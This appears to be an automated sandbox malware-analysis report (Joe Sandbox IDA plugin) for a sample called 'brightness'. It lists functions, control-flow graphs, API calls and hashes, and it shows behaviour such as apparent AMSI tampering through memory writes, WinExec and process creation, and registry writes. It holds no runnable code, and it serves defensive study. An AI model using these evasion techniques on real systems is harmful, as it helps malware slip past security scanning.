                                                                                                                                                            control_flow_graph 10611 2831724-2831736 10612 2831968-283196d 10611->10612 10613 283173c-283174c 10611->10613 10616 2831973-2831984 10612->10616 10617 2831a80-2831a83 10612->10617 10614 28317a4-28317ad 10613->10614 10615 283174e-283175b 10613->10615 10614->10615 10622 28317af-28317bb 10614->10622 10618 2831774-2831780 10615->10618 10619 283175d-283176a 10615->10619 10620 2831986-28319a2 10616->10620 10621 2831938-2831945 10616->10621 10623 2831684-28316ad VirtualAlloc 10617->10623 10624 2831a89-2831a8b 10617->10624 10628 2831782-2831790 10618->10628 10629 28317f0-28317f9 10618->10629 10625 2831794-28317a1 10619->10625 10626 283176c-2831770 10619->10626 10632 28319b0-28319bf 10620->10632 10633 28319a4-28319ac 10620->10633 10621->10620 10627 2831947-283195b Sleep 10621->10627 10622->10615 10634 28317bd-28317c9 10622->10634 10630 28316df-28316e5 10623->10630 10631 28316af-28316dc call 2831644 10623->10631 10627->10620 10637 283195d-2831964 Sleep 10627->10637 10635 28317fb-2831808 10629->10635 10636 283182c-2831836 10629->10636 10631->10630 10640 28319c1-28319d5 10632->10640 10641 28319d8-28319e0 10632->10641 10639 2831a0c-2831a22 10633->10639 10634->10615 10642 28317cb-28317de Sleep 10634->10642 10635->10636 10645 283180a-283181e Sleep 10635->10645 10646 28318a8-28318b4 10636->10646 10647 2831838-2831863 10636->10647 10637->10621 10648 2831a24-2831a32 10639->10648 10649 2831a3b-2831a47 10639->10649 10640->10639 10643 28319e2-28319fa 10641->10643 10644 28319fc-28319fe call 28315cc 10641->10644 10642->10615 10651 28317e4-28317eb Sleep 10642->10651 10652 2831a03-2831a0b 10643->10652 10644->10652 10645->10636 10654 2831820-2831827 Sleep 10645->10654 10660 28318b6-28318c8 10646->10660 10661 28318dc-28318eb call 28315cc 10646->10661 10655 2831865-2831873 10647->10655 10656 283187c-283188a 10647->10656 10648->10649 10657 2831a34 10648->10657 10658 2831a49-2831a5c 10649->10658 10659 2831a68 10649->10659 10651->10614 10654->10635 10655->10656 10663 2831875 10655->10663 10664 28318f8 10656->10664 10665 283188c-28318a6 call 2831500 10656->10665 10657->10649 10666 2831a5e-2831a63 call 2831500 10658->10666 10667 2831a6d-2831a7f 10658->10667 10659->10667 10668 28318ca 10660->10668 10669 28318cc-28318da 10660->10669 10670 28318fd-2831936 10661->10670 10674 28318ed-28318f7 10661->10674 10663->10656 10664->10670 10665->10670 10666->10667 10668->10669 10669->10670
                                                                                                                                                            APIs
                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 028317D0
                                                                                                                                                            • Sleep.KERNEL32(0000000A,00000000), ref: 028317E6
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Sleep
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3472027048-0
                                                                                                                                                            • Opcode ID: e2ee88285229ea5924c3a56facb9ad777706057530e193865f3b53e45149bd79
                                                                                                                                                            • Instruction ID: ba416a552bc2d73b153c520df68db67eb11ff161e906e0eec6c31bab46c13664
                                                                                                                                                            • Opcode Fuzzy Hash: e2ee88285229ea5924c3a56facb9ad777706057530e193865f3b53e45149bd79
                                                                                                                                                            • Instruction Fuzzy Hash: 72B1127EA002918BDB16CF2CE888365BBE1FB94715F5886AAD54ECB3C5C7709461CBD0
                                                                                                                                                            Function 02848704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                            • LoadLibraryW.KERNEL32(amsi), ref: 0284870D
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                              • Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C
                                                                                                                                                            • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0284876C
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
                                                                                                                                                            • String ID: DllGetClassObject$W$amsi
                                                                                                                                                            • API String ID: 941070894-2671292670
                                                                                                                                                            • Opcode ID: 2e49418a818ffe17aa24abccc8b4ab0ed3f7d93e83e532d1073caf0d7b365b26
                                                                                                                                                            • Instruction ID: b3ec585742d48765e4ecf972141b693450aba9950bed6a5983af5954ca526c93
                                                                                                                                                            • Opcode Fuzzy Hash: 2e49418a818ffe17aa24abccc8b4ab0ed3f7d93e83e532d1073caf0d7b365b26
                                                                                                                                                            • Instruction Fuzzy Hash: 34F0625954C385BAE201E67C8C45F4BBFCD4B92224F048E5DB1E8DA2D2EA79D1048BB7
                                                                                                                                                            Function 02831A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 10699 2831a8c-2831a9b 10700 2831aa1-2831aa5 10699->10700 10701 2831b6c-2831b6f 10699->10701 10704 2831aa7-2831aae 10700->10704 10705 2831b08-2831b11 10700->10705 10702 2831b75-2831b7f 10701->10702 10703 2831c5c-2831c60 10701->10703 10706 2831b81-2831b8d 10702->10706 10707 2831b3c-2831b49 10702->10707 10710 2831c66-2831c6b 10703->10710 10711 28316e8-283170b call 2831644 VirtualFree 10703->10711 10708 2831ab0-2831abb 10704->10708 10709 2831adc-2831ade 10704->10709 10705->10704 10712 2831b13-2831b27 Sleep 10705->10712 10713 2831bc4-2831bd2 10706->10713 10714 2831b8f-2831b92 10706->10714 10707->10706 10721 2831b4b-2831b5f Sleep 10707->10721 10715 2831ac4-2831ad9 10708->10715 10716 2831abd-2831ac2 10708->10716 10717 2831af3 10709->10717 10718 2831ae0-2831af1 10709->10718 10729 2831716 10711->10729 10730 283170d-2831714 10711->10730 10712->10704 10720 2831b2d-2831b38 Sleep 10712->10720 10722 2831b96-2831b9a 10713->10722 10725 2831bd4-2831bd9 call 28314c0 10713->10725 10714->10722 10723 2831af6-2831b03 10717->10723 10718->10717 10718->10723 10720->10705 10721->10706 10726 2831b61-2831b68 Sleep 10721->10726 10727 2831bdc-2831be9 10722->10727 10728 2831b9c-2831ba2 10722->10728 10723->10702 10725->10722 10726->10707 10727->10728 10736 2831beb-2831bf2 call 28314c0 10727->10736 10732 2831bf4-2831bfe 10728->10732 10733 2831ba4-2831bc2 call 2831500 10728->10733 10734 2831719-2831723 10729->10734 10730->10734 10737 2831c00-2831c28 VirtualFree 10732->10737 10738 2831c2c-2831c59 call 2831560 10732->10738 10736->10728
                                                                                                                                                            APIs
                                                                                                                                                            • Sleep.KERNEL32(00000000,?,?,00000000,02831FE4), ref: 02831B17
                                                                                                                                                            • Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02831FE4), ref: 02831B31
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Sleep
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3472027048-0
                                                                                                                                                            • Opcode ID: 64c27c51a86103a7e8bde44c1acb7456e214cc24592ac7211ef1c6d0ae3ccfb3
                                                                                                                                                            • Instruction ID: ae99671aacbed103433a848ab84d6003e10bd25d5fc554bcbb017defa1d93a3b
                                                                                                                                                            • Opcode Fuzzy Hash: 64c27c51a86103a7e8bde44c1acb7456e214cc24592ac7211ef1c6d0ae3ccfb3
                                                                                                                                                            • Instruction Fuzzy Hash: A451E07D6012408FEB16DF6CD988796BBD0AB45B18F2885AED54CCB2C6E770C445CBE1
                                                                                                                                                            Function 0284E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0284E86A
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CheckConnectionInternet
                                                                                                                                                            • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                            • API String ID: 3847983778-3852638603
                                                                                                                                                            • Opcode ID: 2978ce8d4283acfc2c0dfc19d351198521f0fa1b127e1984a9fa4a8de06c4e66
                                                                                                                                                            • Instruction ID: 27c0ea0b4d9eaaeaf909c6161d3fb6e519f4b88c7e6d6cba2a610e3255b1ce5f
                                                                                                                                                            • Opcode Fuzzy Hash: 2978ce8d4283acfc2c0dfc19d351198521f0fa1b127e1984a9fa4a8de06c4e66
                                                                                                                                                            • Instruction Fuzzy Hash: F6410B7DA1020C9FEB12EBA8D880A9EB7FAFF98710F214461E401E7251DE74AD058F52
                                                                                                                                                            Function 0284881C Relevance: 6.1, APIs: 4, Instructions: 65libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                            • LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
                                                                                                                                                            • GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
                                                                                                                                                            • GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
                                                                                                                                                              • Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C
                                                                                                                                                            • FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1543721669-0
                                                                                                                                                            • Opcode ID: 1aec669e57eca8748f84c2f68c5121a3138221a6b2983cca53a4e045c472d0cb
                                                                                                                                                            • Instruction ID: de25ade9ce1ec483caeac776a2628a3c226948aef2e6d2925e8f36c6781d5f03
                                                                                                                                                            • Opcode Fuzzy Hash: 1aec669e57eca8748f84c2f68c5121a3138221a6b2983cca53a4e045c472d0cb
                                                                                                                                                            • Instruction Fuzzy Hash: 8411547DB40718BBEB01FBBCCC01A1E77A9EB45700F5404647A04EB7A4EA7499105B96
                                                                                                                                                            Function 028485D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02848660
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$CreateProcessUser
                                                                                                                                                            • String ID: CreateProcessAsUserW$Kernel32
                                                                                                                                                            • API String ID: 3130163322-2353454454
                                                                                                                                                            • Opcode ID: 580a600497f886163973db13eaa204204c9d40583f1e6c562aa5face3f6190f7
                                                                                                                                                            • Instruction ID: 48992ebdf1673c637915add68f18b07f49bf4919b8d41f258b9162eb08664049
                                                                                                                                                            • Opcode Fuzzy Hash: 580a600497f886163973db13eaa204204c9d40583f1e6c562aa5face3f6190f7
                                                                                                                                                            • Instruction Fuzzy Hash: 3D11D0BE640208BFEB81EEACDD41F9A37EDEB0C710F554450BA08D7251CA74E9109B65
                                                                                                                                                            Function 02848406 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • WinExec.KERNEL32(?,?), ref: 02848470
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                            • String ID: Kernel32$WinExec
                                                                                                                                                            • API String ID: 2292790416-3609268280
                                                                                                                                                            • Opcode ID: 6401d81ef572d7403be327aac5ffc3837ca37f4d95aa80fdc89b07a3f4bd0ee8
                                                                                                                                                            • Instruction ID: 76605347603bb147379f6637517c27da1d3dbe7855fc9408c8e55b918b690df4
                                                                                                                                                            • Opcode Fuzzy Hash: 6401d81ef572d7403be327aac5ffc3837ca37f4d95aa80fdc89b07a3f4bd0ee8
                                                                                                                                                            • Instruction Fuzzy Hash: 5301A43D640208BFE711EFB8DC01F5A77EDE748710F95C860B900D7650DA79AD009A66
                                                                                                                                                            Function 02848408 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • WinExec.KERNEL32(?,?), ref: 02848470
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                            • String ID: Kernel32$WinExec
                                                                                                                                                            • API String ID: 2292790416-3609268280
                                                                                                                                                            • Opcode ID: f58b9cbf3c207f6b8dcf6ccd97a394fd4093aa38d8ca9334f69730e634d1c8c9
                                                                                                                                                            • Instruction ID: 68b9339938bf9e48973f5d36437c97963e7b9c1a1bf42cfa0a5047acb8150903
                                                                                                                                                            • Opcode Fuzzy Hash: f58b9cbf3c207f6b8dcf6ccd97a394fd4093aa38d8ca9334f69730e634d1c8c9
                                                                                                                                                            • Instruction Fuzzy Hash: B2F0A43D640208BFE711EFB8DC01F5A77EDE748710F95C860B900D7650DA79A9009A66
                                                                                                                                                            Function 02845BAC Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02845CF4,?,?,02843880,00000001), ref: 02845C08
                                                                                                                                                            • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02845CF4,?,?,02843880,00000001), ref: 02845C36
                                                                                                                                                              • Part of subcall function 02837D10: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02843880,02845C76,00000000,02845CF4,?,?,02843880), ref: 02837D5E
                                                                                                                                                              • Part of subcall function 02837F18: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02843880,02845C91,00000000,02845CF4,?,?,02843880,00000001), ref: 02837F37
                                                                                                                                                            • GetLastError.KERNEL32(00000000,02845CF4,?,?,02843880,00000001), ref: 02845C9B
                                                                                                                                                              • Part of subcall function 0283A6F8: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,0283C359,00000000,0283C3B3), ref: 0283A717
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 503785936-0
                                                                                                                                                            • Opcode ID: 8a06baf255fdf626b7e31b8e271dd6884817b2f9f796a7da3f1e8fecc5e736b7
                                                                                                                                                            • Instruction ID: f1099b8c1d672415c15e266a530bf3c0709d8e7ace0780f0eb8a5d32dfa6b17b
                                                                                                                                                            • Opcode Fuzzy Hash: 8a06baf255fdf626b7e31b8e271dd6884817b2f9f796a7da3f1e8fecc5e736b7
                                                                                                                                                            • Instruction Fuzzy Hash: D131627CA002089FEB01EFACC88179EB7F6AB48314F908465E504E7381DB795A058FE6
                                                                                                                                                            Function 0284EAF2 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • RegOpenKeyA.ADVAPI32(?,00000000,02986914), ref: 0284EB38
                                                                                                                                                            • RegSetValueExA.ADVAPI32(0000069C,00000000,00000000,00000001,00000000,0000001C,00000000,0284EBA3), ref: 0284EB70
                                                                                                                                                            • RegCloseKey.ADVAPI32(0000069C,0000069C,00000000,00000000,00000001,00000000,0000001C,00000000,0284EBA3), ref: 0284EB7B
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CloseOpenValue
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 779948276-0
                                                                                                                                                            • Opcode ID: d8361dc91864f2afb02ab74feeb97cbcb4465299e1d424ca4c77d0af879db6af
                                                                                                                                                            • Instruction ID: 2eb362b7289e71f95a1aff5e4bc62c9930915ebf049857d07089b090370367c6
                                                                                                                                                            • Opcode Fuzzy Hash: d8361dc91864f2afb02ab74feeb97cbcb4465299e1d424ca4c77d0af879db6af
                                                                                                                                                            • Instruction Fuzzy Hash: B7110D7D604208AFEB01EBACDC8196E77EDEB09710F504470B905DB260DA75DE418AA6
                                                                                                                                                            Function 0284EAF4 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • RegOpenKeyA.ADVAPI32(?,00000000,02986914), ref: 0284EB38
                                                                                                                                                            • RegSetValueExA.ADVAPI32(0000069C,00000000,00000000,00000001,00000000,0000001C,00000000,0284EBA3), ref: 0284EB70
                                                                                                                                                            • RegCloseKey.ADVAPI32(0000069C,0000069C,00000000,00000000,00000001,00000000,0000001C,00000000,0284EBA3), ref: 0284EB7B
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
